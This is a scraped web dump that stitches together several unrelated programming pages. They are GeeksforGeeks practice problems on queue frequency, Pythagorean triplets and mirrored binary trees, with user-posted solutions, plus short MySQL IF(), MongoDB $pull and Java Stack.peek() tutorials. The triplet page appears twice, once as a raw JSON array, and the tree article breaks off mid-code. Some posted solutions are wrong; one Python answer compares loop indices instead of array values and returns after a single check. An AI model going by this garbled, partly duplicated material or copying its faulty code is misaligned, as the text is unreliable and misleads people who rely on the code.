[ { "code": null, "e": 268, "s": 226, "text": "Here, we will learn operations on queues." }, { "code": null, "e": 420, "s": 268, "text": "Given N integers, the task is to insert those elements in the queue. Also, given M integers, task is to find the frequency of each number in the Queue." }, { "code": null, "e": 429, "s": 420, "text": "Example:" }, { "code": null, "e": 662, "s": 429, "text": "Input:\n8\n1 2 3 4 5 2 3 1\n5\n1 3 2 9 10\n\nOutput:\n2\n2\n2\n-1\n-1\n\nExplanation:\nAfter inserting 1, 2, 3, 4, 5, 2, 3, 1 into the queue, \nfrequency of 1 is 2, 3 is 2, 2 is 2, 9 is -1 and 10 is \n-1 (since, 9 and 10 is not there in the queue)." }, { "code": null, "e": 853, "s": 662, "text": "Your Task:\nYour task is to complete the functions insert() and findFrequency() which inserts the element into the queue and find the count of occurences of element in the queue respectively." }, { "code": null, "e": 924, "s": 853, "text": "Constraints:\n1 <= N <= 103\n1 <= M <= 103\n1 <= Elements of Queue <= 106" }, { "code": null, "e": 926, "s": 924, "text": "0" }, { "code": null, "e": 948, "s": 926, "text": "harshscode2 weeks ago" }, { "code": null, "e": 1214, "s": 948, "text": " void insert(queue<int> &q, int k){ q.push(k); m[k]++; } // Function to find frequency of an element // return the frequency of k int findFrequency(queue<int> &q, int k){ return (m[k]==0)?(-1):(m[k]); } " }, { "code": null, "e": 1217, "s": 1214, "text": "+1" }, { "code": null, "e": 1244, "s": 1217, "text": "goyalayushi4522 months ago" }, { "code": null, "e": 1456, "s": 1244, "text": "class Solution{\n public:\n map<int,int>m;\n void insert(queue<int> &q, int k){\n q.push(k);\n m[k]++;\n }\n \n int findFrequency(queue<int> &q, int k){\n return (m[k] == 0)? -1 : m[k];\n }\n};\n" }, { "code": null, "e": 1458, "s": 1456, "text": "0" }, { "code": null, "e": 1484, "s": 1458, "text": "kalikisiva0072 months ago" }, { "code": null, "e": 2052, "s": 1484, "text": "class Solution{ public: // Function to insert element into the queue void insert(queue<int> &q, int k){ // Your code here q.push(k); } // Function to find frequency of an element // return the frequency of k int findFrequency(queue<int> &q, int k){ // Your code here vector<int>v; int p =0; while(q.size()!=0){ if(k== q.front()){ p++; } v.push_back(q.front()); q.pop(); } for(int i =0;i<v.size();i++){ q.push(v[i]); } return p;" }, { "code": null, "e": 2054, "s": 2052, "text": "0" }, { "code": null, "e": 2072, "s": 2054, "text": "sdmrf2 months ago" }, { "code": null, "e": 2133, "s": 2072, "text": " def insert(self, q, k): q.append(k) return q" }, { "code": null, "e": 2192, "s": 2133, "text": " def findFrequency(self, q, k): return q.count(k)" }, { "code": null, "e": 2206, "s": 2194, "text": "Python Soln" }, { "code": null, "e": 2209, "s": 2206, "text": "-3" }, { "code": null, "e": 2231, "s": 2209, "text": "dhirunand3 months ago" }, { "code": null, "e": 2644, "s": 2231, "text": "class Geeks{\n static void insert(Queue<Integer> q, int k){\n q.offer(k);\n }\n \n static int findFrequency(Queue<Integer> q, int k){\n int count = 0;\n \n int peek;\n int size = q.size();\n for(int i = 0; i< size; i++){\n peek=q.poll();\n if(peek==k)\n count++;\n q.offer(peek);\n }\n \n return count; \n }\n}" }, { "code": null, "e": 2646, "s": 2644, "text": "0" }, { "code": null, "e": 2672, "s": 2646, "text": "aroopghosh5533 months ago" }, { "code": null, "e": 3038, "s": 2672, "text": "class Solution{\n public:\n \n void insert(queue<int> &q, int k){\n q.push(k);\n }\n unordered_map<int, int> mp;\n int findFrequency(queue<int> &q, int k){\n while(!q.empty()){\n mp[q.front()]++;\n q.pop();\n }\n if(mp.find(k) == mp.end()){\n return -1;\n }\n return mp[k];\n }\n \n};" }, { "code": null, "e": 3040, "s": 3038, "text": "0" }, { "code": null, "e": 3048, "s": 3040, "text": "firosk7" }, { "code": null, "e": 3074, "s": 3048, "text": "This comment was deleted." }, { "code": null, "e": 3076, "s": 3074, "text": "0" }, { "code": null, "e": 3099, "s": 3076, "text": "avinav26113 months ago" }, { "code": null, "e": 3117, "s": 3099, "text": "Easy C++ Solution" }, { "code": null, "e": 3121, "s": 3119, "text": "0" }, { "code": null, "e": 3149, "s": 3121, "text": "rahulsingh329293 months ago" }, { "code": null, "e": 3189, "s": 3149, "text": "def insert(q,n): q.append(n) return q " }, { "code": null, "e": 3261, "s": 3189, "text": "def findFrequency(arr,i): if i in arr: return arr.count(i) return -1 " }, { "code": null, "e": 3264, "s": 3261, "text": "+2" }, { "code": null, "e": 3285, "s": 3264, "text": "goelr5643 months ago" }, { "code": null, "e": 3440, "s": 3285, "text": "class Solution{ public: void insert(queue<int> &q, int k){ q.push(k); } int findFrequency(queue<int> &q, int k){ queue<int> temp=q;" }, { "code": null, "e": 3803, "s": 3440, "text": "//ek temporary queue bna le sare changes pop wagra usme krio bhai taki main m bar bar ek number ki tb frequency dekhe toh vo change na krni pde..... int freq=0; while(!temp.empty()) //matlab last tk dekha ki khi element h toh nhi jo dekhna h { if(k==temp.front()) freq++; temp.pop(); } return freq; }" }, { "code": null, "e": 3845, "s": 3805, "text": "// pura mat chap khud likh samaj samj k" }, { "code": null, "e": 3991, "s": 3845, "text": "We strongly recommend solving this problem on your own before viewing its editorial. Do you still\n want to view the editorial?" }, { "code": null, "e": 4027, "s": 3991, "text": " Login to access your submissions. " }, { "code": null, "e": 4037, "s": 4027, "text": "\nProblem\n" }, { "code": null, "e": 4047, "s": 4037, "text": "\nContest\n" }, { "code": null, "e": 4110, "s": 4047, "text": "Reset the IDE using the second button on the top right corner." }, { "code": null, "e": 4258, "s": 4110, "text": "Avoid using static/global variables in your code as your code is tested against multiple test cases and these tend to retain their previous values." }, { "code": null, "e": 4466, "s": 4258, "text": "Passing the Sample/Custom Test cases does not guarantee the correctness of code. On submission, your code is tested against multiple test cases consisting of all possible corner cases and stress constraints." }, { "code": null, "e": 4572, "s": 4466, "text": "You can access the hints to get an idea about what is expected of you as well as the final solution code." } ]
Pythagorean Triplet | Practice | GeeksforGeeks
Given an array arr of N integers, write a function that returns true if there is a triplet (a, b, c) that satisfies a2 + b2 = c2, otherwise false. Example 1: Input: N = 5 Arr[] = {3, 2, 4, 6, 5} Output: Yes Explanation: a=3, b=4, and c=5 forms a pythagorean triplet. Example 2: Input: N = 3 Arr[] = {3, 8, 5} Output: No Explanation: No such triplet possible. Your Task: Complete the function checkTriplet() which takes an array arr, single integer n, as input parameters and returns boolean denoting answer to the problem. You don't to print answer or take inputs. Note: The driver will print "Yes" or "No" instead of boolean. Expected Time Complexity: O(max(Arr[i])2) Expected Auxiliary Space: O(max(Arr[i])) Constraints: 1 <= N <= 107 1 <= Arr[i] <= 1000 0 abhigyanpatek4 days ago Simple C++ Solution: Time - O(n^2) & Space - O(n) I used unordered_set for faster lookup's! bool checkTriplet(int arr[], int n) { unordered_set<int> set; for(int i = 0; i<n; i++) set.insert(arr[i]*arr[i]); for(int i = 0; i<n-1; i++){ for(int j = i+1; j<n; j++){ int sum = arr[i]*arr[i] + arr[j]*arr[j]; if(set.find(sum) != set.end()) return true; } } return false;} +1 harshscode1 week ago O(n^2) and O(1).. using 2 pointer approach........... sort(a,a+n); for(int i=n-1;i>1;i--) { int j=0; int k=i-1; while(j<k) { if(a[k]*a[k]+a[j]*a[j]<a[i]*a[i]) j++; else if(a[k]*a[k]+a[j]*a[j]>a[i]*a[i]) k--; else return true; } } return false;} -1 kkumarakash70112 weeks ago Total Time Taken: 0.49/1.61 bool checkTriplet(int arr[], int n) { int a[n]; for(int i=0;i<n;i++) { a[i]=pow(arr[i],2); } unordered_set<int> u; for(int i=0;i<n;i++) { u.insert(a[i]); } for(int i=0;i<n-1;i++) { for(int j=i+1;j<n;j++) { if(u.find(a[i]+a[j])!=u.end()) return true; } } return false; // code here} 0 mestryruturaj2 weeks ago Java: O(n*n) class Solution { boolean checkTriplet(int[] A, int n) { Arrays.sort(A); for (int i = n - 1; i >= 0; i--) { int left = 0; int right = i - 1; while (left < right) { int LHS = (int)Math.pow(A[i], 2); int RHS = (int)Math.pow(A[left], 2) + (int)Math.pow(A[right], 2); if (LHS == RHS) return true; else if (LHS < RHS) right--; else left++; } } return false; } } +1 zerefkhan2 weeks ago C++ solution Total Time Taken: 0.31/1.61 bool checkTriplet(int arr[], int n) { if(n<3) return false; for(int i=0;i<n-2;i++){ for(int j=i;j<n-1;j++){ for(int k=j;k<n;k++){ if((arr[i]*arr[i] + arr[j]*arr[j] - arr[k]*arr[k]) == 0){return true;} else if((arr[j]*arr[j] + arr[k]*arr[k] - arr[i]*arr[i]) == 0){return true;} else if((arr[i]*arr[i] - arr[j]*arr[j] + arr[k]*arr[k]) == 0){return true;} } } } return false; } -3 amoghyelasangi3 weeks ago ONLY 4 TEST CASES PASSED for a in range(len(arr)): for b in range(len(arr)): for c in range(len(arr)): if a**2 + b**2 == c**2: return "Yes" else: return "No" 0 swapniltayal4224 weeks ago public:// Function to check if the// Pythagorean triplet exists or notbool checkTriplet(int arr[], int n) { // code here sort(arr, arr+n); if (n < 3){ return false; } for (int i=0; i<n; i++){ for (int j=i+1; j<n; j++){ for (int k=j+1; k<n; k++){ int a=arr[i]; int b=arr[j]; int c=arr[k]; if ((a*a)+(b*b) == (c*c)){ return true; } } } }return false;} -2 abhishekaich20001 month ago Simple c++ solution bool checkTriplet(int arr[], int n) { // code here for (int i=0; i<n; i++){ arr[i] *= arr[i]; } sort(arr, arr+n); int high=0, low=0; for(int i=n-1; i>=0; i--){ high = i-1; low = 0; int temp = arr[i]; while (low < high){ int a1 = arr[low], a2 = arr[high]; if ((temp - (a1 + a2)) == 0){ return true; }else if ((temp - (a1 + a2)) > 0){ low++; }else{ high--; } } } return false;} -2 charanvallala71 month ago class Solution{public:// Function to check if the// Pythagorean triplet exists or notbool checkTriplet(int arr[], int n) { sort(arr,arr+n); if(n<3){ return false; } for(int i=0;i<n-2;i++){ for(int j=i+1;j<n-1;j++){ for(int k=j+1;k<n;k++){ int a=arr[i],b=arr[j],c=arr[k]; if((a*a)+(b*b)==(c*c)){ return true; } } } } return false;// code here} 0 atif836141 month ago JAVA SOLUTION: class Solution { boolean checkTriplet(int[] arr, int n) { if (arr.length == 0) { return false; } Arrays.sort(arr); for (int i = 0; i < arr.length; i++) { for (int j = i + 1; j < arr.length; j++) { for (int k = j + 1; k < arr.length; k++) { if (arr[i] * arr[i] + arr[j] * arr[j] == arr[k] * arr[k]) { return true; } } } } return false; }} We strongly recommend solving this problem on your own before viewing its editorial. Do you still want to view the editorial? Login to access your submissions. Problem Contest Reset the IDE using the second button on the top right corner. Avoid using static/global variables in your code as your code is tested against multiple test cases and these tend to retain their previous values. Passing the Sample/Custom Test cases does not guarantee the correctness of code. On submission, your code is tested against multiple test cases consisting of all possible corner cases and stress constraints. You can access the hints to get an idea about what is expected of you as well as the final solution code. You can view the solutions submitted by other users from the submission tab.
[ { "code": null, "e": 385, "s": 238, "text": "Given an array arr of N integers, write a function that returns true if there is a triplet (a, b, c) that satisfies a2 + b2 = c2, otherwise false." }, { "code": null, "e": 396, "s": 385, "text": "Example 1:" }, { "code": null, "e": 506, "s": 396, "text": "Input:\nN = 5\nArr[] = {3, 2, 4, 6, 5}\nOutput: Yes\nExplanation: a=3, b=4, and c=5 forms a\npythagorean triplet.\n" }, { "code": null, "e": 517, "s": 506, "text": "Example 2:" }, { "code": null, "e": 599, "s": 517, "text": "Input:\nN = 3\nArr[] = {3, 8, 5}\nOutput: No\nExplanation: No such triplet possible.\n" }, { "code": null, "e": 868, "s": 599, "text": "Your Task:\nComplete the function checkTriplet() which takes an array arr, single integer n, as input parameters and returns boolean denoting answer to the problem. You don't to print answer or take inputs. \nNote: The driver will print \"Yes\" or \"No\" instead of boolean." }, { "code": null, "e": 951, "s": 868, "text": "Expected Time Complexity: O(max(Arr[i])2)\nExpected Auxiliary Space: O(max(Arr[i]))" }, { "code": null, "e": 1000, "s": 951, "text": "Constraints:\n1 <= N <= 107\n1 <= Arr[i] <= 1000\n " }, { "code": null, "e": 1002, "s": 1000, "text": "0" }, { "code": null, "e": 1026, "s": 1002, "text": "abhigyanpatek4 days ago" }, { "code": null, "e": 1076, "s": 1026, "text": "Simple C++ Solution: Time - O(n^2) & Space - O(n)" }, { "code": null, "e": 1118, "s": 1076, "text": "I used unordered_set for faster lookup's!" }, { "code": null, "e": 1465, "s": 1118, "text": "bool checkTriplet(int arr[], int n) { unordered_set<int> set; for(int i = 0; i<n; i++) set.insert(arr[i]*arr[i]); for(int i = 0; i<n-1; i++){ for(int j = i+1; j<n; j++){ int sum = arr[i]*arr[i] + arr[j]*arr[j]; if(set.find(sum) != set.end()) return true; } } return false;}" }, { "code": null, "e": 1468, "s": 1465, "text": "+1" }, { "code": null, "e": 1489, "s": 1468, "text": "harshscode1 week ago" }, { "code": null, "e": 1543, "s": 1489, "text": "O(n^2) and O(1).. using 2 pointer approach..........." }, { "code": null, "e": 1795, "s": 1543, "text": " sort(a,a+n); for(int i=n-1;i>1;i--) { int j=0; int k=i-1; while(j<k) { if(a[k]*a[k]+a[j]*a[j]<a[i]*a[i]) j++; else if(a[k]*a[k]+a[j]*a[j]>a[i]*a[i]) k--; else return true; } } return false;}" }, { "code": null, "e": 1798, "s": 1795, "text": "-1" }, { "code": null, "e": 1825, "s": 1798, "text": "kkumarakash70112 weeks ago" }, { "code": null, "e": 1843, "s": 1825, "text": "Total Time Taken:" }, { "code": null, "e": 1853, "s": 1843, "text": "0.49/1.61" }, { "code": null, "e": 2246, "s": 1855, "text": " bool checkTriplet(int arr[], int n) { int a[n]; for(int i=0;i<n;i++) { a[i]=pow(arr[i],2); } unordered_set<int> u; for(int i=0;i<n;i++) { u.insert(a[i]); } for(int i=0;i<n-1;i++) { for(int j=i+1;j<n;j++) { if(u.find(a[i]+a[j])!=u.end()) return true; } } return false; // code here}" }, { "code": null, "e": 2248, "s": 2246, "text": "0" }, { "code": null, "e": 2273, "s": 2248, "text": "mestryruturaj2 weeks ago" }, { "code": null, "e": 2286, "s": 2273, "text": "Java: O(n*n)" }, { "code": null, "e": 2845, "s": 2286, "text": "class Solution {\n boolean checkTriplet(int[] A, int n) {\n Arrays.sort(A);\n \n for (int i = n - 1; i >= 0; i--) {\n int left = 0;\n int right = i - 1;\n while (left < right) {\n int LHS = (int)Math.pow(A[i], 2);\n int RHS = (int)Math.pow(A[left], 2) + (int)Math.pow(A[right], 2);\n \n if (LHS == RHS) return true;\n else if (LHS < RHS) right--;\n else left++;\n }\n }\n \n return false;\n }\n}" }, { "code": null, "e": 2848, "s": 2845, "text": "+1" }, { "code": null, "e": 2869, "s": 2848, "text": "zerefkhan2 weeks ago" }, { "code": null, "e": 2882, "s": 2869, "text": "C++ solution" }, { "code": null, "e": 2900, "s": 2882, "text": "Total Time Taken:" }, { "code": null, "e": 2910, "s": 2900, "text": "0.31/1.61" }, { "code": null, "e": 3402, "s": 2910, "text": "\tbool checkTriplet(int arr[], int n) {\n\t if(n<3) return false;\n\t for(int i=0;i<n-2;i++){\n\t for(int j=i;j<n-1;j++){\n\t for(int k=j;k<n;k++){\n\t if((arr[i]*arr[i] + arr[j]*arr[j] - arr[k]*arr[k]) == 0){return true;}\n\t else if((arr[j]*arr[j] + arr[k]*arr[k] - arr[i]*arr[i]) == 0){return true;}\n\t else if((arr[i]*arr[i] - arr[j]*arr[j] + arr[k]*arr[k]) == 0){return true;}\n\t }\n\t }\n\t }\n\t return false;\n\t}" }, { "code": null, "e": 3405, "s": 3402, "text": "-3" }, { "code": null, "e": 3431, "s": 3405, "text": "amoghyelasangi3 weeks ago" }, { "code": null, "e": 3456, "s": 3431, "text": "ONLY 4 TEST CASES PASSED" }, { "code": null, "e": 3675, "s": 3456, "text": "for a in range(len(arr)): for b in range(len(arr)): for c in range(len(arr)): if a**2 + b**2 == c**2: return \"Yes\" else: return \"No\"" }, { "code": null, "e": 3677, "s": 3675, "text": "0" }, { "code": null, "e": 3704, "s": 3677, "text": "swapniltayal4224 weeks ago" }, { "code": null, "e": 4183, "s": 3704, "text": "public:// Function to check if the// Pythagorean triplet exists or notbool checkTriplet(int arr[], int n) { // code here sort(arr, arr+n); if (n < 3){ return false; } for (int i=0; i<n; i++){ for (int j=i+1; j<n; j++){ for (int k=j+1; k<n; k++){ int a=arr[i]; int b=arr[j]; int c=arr[k]; if ((a*a)+(b*b) == (c*c)){ return true; } } } }return false;}" }, { "code": null, "e": 4186, "s": 4183, "text": "-2" }, { "code": null, "e": 4214, "s": 4186, "text": "abhishekaich20001 month ago" }, { "code": null, "e": 4234, "s": 4214, "text": "Simple c++ solution" }, { "code": null, "e": 4778, "s": 4236, "text": "bool checkTriplet(int arr[], int n) { // code here for (int i=0; i<n; i++){ arr[i] *= arr[i]; } sort(arr, arr+n); int high=0, low=0; for(int i=n-1; i>=0; i--){ high = i-1; low = 0; int temp = arr[i]; while (low < high){ int a1 = arr[low], a2 = arr[high]; if ((temp - (a1 + a2)) == 0){ return true; }else if ((temp - (a1 + a2)) > 0){ low++; }else{ high--; } } } return false;}" }, { "code": null, "e": 4781, "s": 4778, "text": "-2" }, { "code": null, "e": 4807, "s": 4781, "text": "charanvallala71 month ago" }, { "code": null, "e": 5269, "s": 4807, "text": "class Solution{public:// Function to check if the// Pythagorean triplet exists or notbool checkTriplet(int arr[], int n) { sort(arr,arr+n); if(n<3){ return false; } for(int i=0;i<n-2;i++){ for(int j=i+1;j<n-1;j++){ for(int k=j+1;k<n;k++){ int a=arr[i],b=arr[j],c=arr[k]; if((a*a)+(b*b)==(c*c)){ return true; } } } } return false;// code here}" }, { "code": null, "e": 5271, "s": 5269, "text": "0" }, { "code": null, "e": 5292, "s": 5271, "text": "atif836141 month ago" }, { "code": null, "e": 5307, "s": 5292, "text": "JAVA SOLUTION:" }, { "code": null, "e": 5672, "s": 5307, "text": "class Solution { boolean checkTriplet(int[] arr, int n) { if (arr.length == 0) { return false; } Arrays.sort(arr); for (int i = 0; i < arr.length; i++) { for (int j = i + 1; j < arr.length; j++) { for (int k = j + 1; k < arr.length; k++) { if (arr[i] * arr[i] + arr[j] * arr[j] == arr[k] * arr[k]) { return true; } } } } return false; }}" }, { "code": null, "e": 5818, "s": 5672, "text": "We strongly recommend solving this problem on your own before viewing its editorial. Do you still\n want to view the editorial?" }, { "code": null, "e": 5854, "s": 5818, "text": " Login to access your submissions. " }, { "code": null, "e": 5864, "s": 5854, "text": "\nProblem\n" }, { "code": null, "e": 5874, "s": 5864, "text": "\nContest\n" }, { "code": null, "e": 5937, "s": 5874, "text": "Reset the IDE using the second button on the top right corner." }, { "code": null, "e": 6085, "s": 5937, "text": "Avoid using static/global variables in your code as your code is tested against multiple test cases and these tend to retain their previous values." }, { "code": null, "e": 6293, "s": 6085, "text": "Passing the Sample/Custom Test cases does not guarantee the correctness of code. On submission, your code is tested against multiple test cases consisting of all possible corner cases and stress constraints." }, { "code": null, "e": 6399, "s": 6293, "text": "You can access the hints to get an idea about what is expected of you as well as the final solution code." } ]
MySQL IF() to display custom YES or NO messages
Let us first create a table − mysql> create table DemoTable1850 ( OrderStatus varchar(20) ); Query OK, 0 rows affected (0.00 sec) Insert some records in the table using insert command − mysql> insert into DemoTable1850 values('Yes'); Query OK, 1 row affected (0.00 sec) mysql> insert into DemoTable1850 values('No'); Query OK, 1 row affected (0.00 sec) mysql> insert into DemoTable1850 values('Yes'); Query OK, 1 row affected (0.00 sec) mysql> insert into DemoTable1850 values('Yes'); Query OK, 1 row affected (0.00 sec) Display all records from the table using select statement − mysql> select * from DemoTable1850; This will produce the following output − +-------------+ | OrderStatus | +-------------+ | Yes | | No | | Yes | | Yes | +-------------+ 4 rows in set (0.00 sec) Here is the query to implement IF() to display custom messages: mysql> select if(OrderStatus='Yes','Order has been placed','Failed') as Status from DemoTable1850; This will produce the following output − +-----------------------+ | Status | +-----------------------+ | Order has been placed | | Failed | | Order has been placed | | Order has been placed | +-----------------------+ 4 rows in set (0.00 sec)
[ { "code": null, "e": 1092, "s": 1062, "text": "Let us first create a table −" }, { "code": null, "e": 1207, "s": 1092, "text": "mysql> create table DemoTable1850\n (\n OrderStatus varchar(20)\n );\nQuery OK, 0 rows affected (0.00 sec)" }, { "code": null, "e": 1263, "s": 1207, "text": "Insert some records in the table using insert command −" }, { "code": null, "e": 1598, "s": 1263, "text": "mysql> insert into DemoTable1850 values('Yes');\nQuery OK, 1 row affected (0.00 sec)\nmysql> insert into DemoTable1850 values('No');\nQuery OK, 1 row affected (0.00 sec)\nmysql> insert into DemoTable1850 values('Yes');\nQuery OK, 1 row affected (0.00 sec)\nmysql> insert into DemoTable1850 values('Yes');\nQuery OK, 1 row affected (0.00 sec)" }, { "code": null, "e": 1658, "s": 1598, "text": "Display all records from the table using select statement −" }, { "code": null, "e": 1694, "s": 1658, "text": "mysql> select * from DemoTable1850;" }, { "code": null, "e": 1735, "s": 1694, "text": "This will produce the following output −" }, { "code": null, "e": 1888, "s": 1735, "text": "+-------------+\n| OrderStatus |\n+-------------+\n| Yes |\n| No |\n| Yes |\n| Yes |\n+-------------+\n4 rows in set (0.00 sec)" }, { "code": null, "e": 1952, "s": 1888, "text": "Here is the query to implement IF() to display custom messages:" }, { "code": null, "e": 2051, "s": 1952, "text": "mysql> select if(OrderStatus='Yes','Order has been placed','Failed') as Status from DemoTable1850;" }, { "code": null, "e": 2092, "s": 2051, "text": "This will produce the following output −" }, { "code": null, "e": 2325, "s": 2092, "text": "+-----------------------+\n| Status |\n+-----------------------+\n| Order has been placed |\n| Failed |\n| Order has been placed |\n| Order has been placed |\n+-----------------------+\n4 rows in set (0.00 sec)" } ]
Removing item from array in MongoDB?
To remove item from array, use $pull in MongoDB. Let us create a collection with documents − > db.demo224.insertOne({"ListOfTechnology":["Spring","Hibernate","Java"]}); { "acknowledged" : true, "insertedId" : ObjectId("5e3ee6d103d395bdc2134733") } > db.demo224.insertOne({"ListOfTechnology":["Groovy"]}); { "acknowledged" : true, "insertedId" : ObjectId("5e3ee6ec03d395bdc2134734") } Display all documents from a collection with the help of find() method − > db.demo224.find(); This will produce the following output − { "_id" : ObjectId("5e3ee6d103d395bdc2134733"), "ListOfTechnology" : [ "Spring", "Hibernate", "Java" ] } { "_id" : ObjectId("5e3ee6ec03d395bdc2134734"), "ListOfTechnology" : [ "Groovy" ] } Following is the query to remove item from array in MongoDB − >db.demo224.update({_id:ObjectId("5e3ee6d103d395bdc2134733")},{$pull:{"ListOfTechnology":"Java"}}); WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 }) Display all documents from a collection with the help of find() method − > db.demo224.find(); This will produce the following output − { "_id" : ObjectId("5e3ee6d103d395bdc2134733"), "ListOfTechnology" : [ "Spring", "Hibernate" ] } { "_id" : ObjectId("5e3ee6ec03d395bdc2134734"), "ListOfTechnology" : [ "Groovy" ] }
[ { "code": null, "e": 1155, "s": 1062, "text": "To remove item from array, use $pull in MongoDB. Let us create a collection with documents −" }, { "code": null, "e": 1458, "s": 1155, "text": "> db.demo224.insertOne({\"ListOfTechnology\":[\"Spring\",\"Hibernate\",\"Java\"]});\n{\n \"acknowledged\" : true,\n \"insertedId\" : ObjectId(\"5e3ee6d103d395bdc2134733\")\n}\n> db.demo224.insertOne({\"ListOfTechnology\":[\"Groovy\"]});\n{\n \"acknowledged\" : true,\n \"insertedId\" : ObjectId(\"5e3ee6ec03d395bdc2134734\")\n}" }, { "code": null, "e": 1531, "s": 1458, "text": "Display all documents from a collection with the help of find() method −" }, { "code": null, "e": 1552, "s": 1531, "text": "> db.demo224.find();" }, { "code": null, "e": 1593, "s": 1552, "text": "This will produce the following output −" }, { "code": null, "e": 1782, "s": 1593, "text": "{ \"_id\" : ObjectId(\"5e3ee6d103d395bdc2134733\"), \"ListOfTechnology\" : [ \"Spring\", \"Hibernate\", \"Java\" ] }\n{ \"_id\" : ObjectId(\"5e3ee6ec03d395bdc2134734\"), \"ListOfTechnology\" : [ \"Groovy\" ] }" }, { "code": null, "e": 1844, "s": 1782, "text": "Following is the query to remove item from array in MongoDB −" }, { "code": null, "e": 2010, "s": 1844, "text": ">db.demo224.update({_id:ObjectId(\"5e3ee6d103d395bdc2134733\")},{$pull:{\"ListOfTechnology\":\"Java\"}});\nWriteResult({ \"nMatched\" : 1, \"nUpserted\" : 0, \"nModified\" : 1 })" }, { "code": null, "e": 2083, "s": 2010, "text": "Display all documents from a collection with the help of find() method −" }, { "code": null, "e": 2104, "s": 2083, "text": "> db.demo224.find();" }, { "code": null, "e": 2145, "s": 2104, "text": "This will produce the following output −" }, { "code": null, "e": 2326, "s": 2145, "text": "{ \"_id\" : ObjectId(\"5e3ee6d103d395bdc2134733\"), \"ListOfTechnology\" : [ \"Spring\", \"Hibernate\" ] }\n{ \"_id\" : ObjectId(\"5e3ee6ec03d395bdc2134734\"), \"ListOfTechnology\" : [ \"Groovy\" ] }" } ]
Get an element from a Stack in Java without removing it
The method java.util.Stack.peek() can be used to get an element from a Stack in Java without removing it. This method requires no parameters and it returns the element at the top of the stack. If the stack is empty, then the EmptyStackException is thrown. A program that demonstrates this is given as follows − Live Demo import java.util.Stack; public class Demo { public static void main (String args[]) { Stack stack = new Stack(); stack.push("Amy"); stack.push("John"); stack.push("Mary"); stack.push("Peter"); stack.push("Susan"); System.out.println("The stack elements are: " + stack); System.out.println("The element at the top of the stack is: " + stack.peek()); } } The stack elements are: [Amy, John, Mary, Peter, Susan] The element at the top of the stack is: Susan Now let us understand the above program. The Stack is created. Then Stack.push() method is used to add the elements to the stack. The stack is displayed and then the Stack.peek() method is used to return the element at the top of the stack and print it. A code snippet which demonstrates this is as follows − Stack stack = new Stack(); stack.push("Amy"); stack.push("John"); stack.push("Mary"); stack.push("Peter"); stack.push("Susan"); System.out.println("The stack elements are: " + stack); System.out.println("The element at the top of the stack is: " + stack.peek());
[ { "code": null, "e": 1318, "s": 1062, "text": "The method java.util.Stack.peek() can be used to get an element from a Stack in Java without removing it. This method requires no parameters and it returns the element at the top of the stack. If the stack is empty, then the EmptyStackException is thrown." }, { "code": null, "e": 1373, "s": 1318, "text": "A program that demonstrates this is given as follows −" }, { "code": null, "e": 1384, "s": 1373, "text": " Live Demo" }, { "code": null, "e": 1791, "s": 1384, "text": "import java.util.Stack;\npublic class Demo {\n public static void main (String args[]) {\n Stack stack = new Stack();\n stack.push(\"Amy\");\n stack.push(\"John\");\n stack.push(\"Mary\");\n stack.push(\"Peter\");\n stack.push(\"Susan\");\n System.out.println(\"The stack elements are: \" + stack);\n System.out.println(\"The element at the top of the stack is: \" + stack.peek());\n }\n}" }, { "code": null, "e": 1893, "s": 1791, "text": "The stack elements are: [Amy, John, Mary, Peter, Susan]\nThe element at the top of the stack is: Susan" }, { "code": null, "e": 1934, "s": 1893, "text": "Now let us understand the above program." }, { "code": null, "e": 2202, "s": 1934, "text": "The Stack is created. Then Stack.push() method is used to add the elements to the stack. The stack is displayed and then the Stack.peek() method is used to return the element at the top of the stack and print it. A code snippet which demonstrates this is as follows −" }, { "code": null, "e": 2465, "s": 2202, "text": "Stack stack = new Stack();\nstack.push(\"Amy\");\nstack.push(\"John\");\nstack.push(\"Mary\");\nstack.push(\"Peter\");\nstack.push(\"Susan\");\nSystem.out.println(\"The stack elements are: \" + stack);\nSystem.out.println(\"The element at the top of the stack is: \" + stack.peek());" } ]
Check if two trees are Mirror - GeeksforGeeks
30 Aug, 2021 Given two Binary Trees, write a function that returns true if two trees are mirror of each other, else false. For example, the function should return true for following input trees. This problem is different from the problem discussed here.For two trees ‘a’ and ‘b’ to be mirror images, the following three conditions must be true: Their root node’s key must be sameLeft subtree of root of ‘a’ and right subtree root of ‘b’ are mirror.Right subtree of ‘a’ and left subtree of ‘b’ are mirror. Their root node’s key must be same Left subtree of root of ‘a’ and right subtree root of ‘b’ are mirror. Right subtree of ‘a’ and left subtree of ‘b’ are mirror. Below is implementation of above idea. C++ Java Python3 C# Javascript // C++ program to check if two trees are mirror// of each other#include<bits/stdc++.h>using namespace std; /* A binary tree node has data, pointer to left child and a pointer to right child */struct Node{ int data; Node* left, *right;}; /* Given two trees, return true if they are mirror of each other *//*As function has to return bool value instead integer value*/bool areMirror(Node* a, Node* b){ /* Base case : Both empty */ if (a==NULL && b==NULL) return true; // If only one is empty if (a==NULL || b == NULL) return false; /* Both non-empty, compare them recursively Note that in recursive calls, we pass left of one tree and right of other tree */ return a->data == b->data && areMirror(a->left, b->right) && areMirror(a->right, b->left);} /* Helper function that allocates a new node */Node* newNode(int data){ Node* node = new Node; node->data = data; node->left = node->right = NULL; return(node);} /* Driver program to test areMirror() */int main(){ Node *a = newNode(1); Node *b = newNode(1); a->left = newNode(2); a->right = newNode(3); a->left->left = newNode(4); a->left->right = newNode(5); b->left = newNode(3); b->right = newNode(2); b->right->left = newNode(5); b->right->right = newNode(4); areMirror(a, b)? cout << "Yes" : cout << "No"; return 0;} // Java program to see if two trees// are mirror of each other // A binary tree nodeclass Node{ int data; Node left, right; public Node(int data) { this.data = data; left = right = null; }} class BinaryTree{ Node a, b; /* Given two trees, return true if they are mirror of each other */ boolean areMirror(Node a, Node b) { /* Base case : Both empty */ if (a == null && b == null) return true; // If only one is empty if (a == null || b == null) return false; /* Both non-empty, compare them recursively Note that in recursive calls, we pass left of one tree and right of other tree */ return a.data == b.data && areMirror(a.left, b.right) && areMirror(a.right, b.left); } // Driver code to test above methods public static void main(String[] args) { BinaryTree tree = new BinaryTree(); Node a = new Node(1); Node b = new Node(1); a.left = new Node(2); a.right = new Node(3); a.left.left = new Node(4); a.left.right = new Node(5); b.left = new Node(3); b.right = new Node(2); b.right.left = new Node(5); b.right.right = new Node(4); if (tree.areMirror(a, b) == true) System.out.println("Yes"); else System.out.println("No"); }} // This code has been contributed by Mayank Jaiswal(mayank_24) # Python3 program to check if two# trees are mirror of each other # A binary tree nodeclass Node: def __init__(self, data): self.data = data self.left 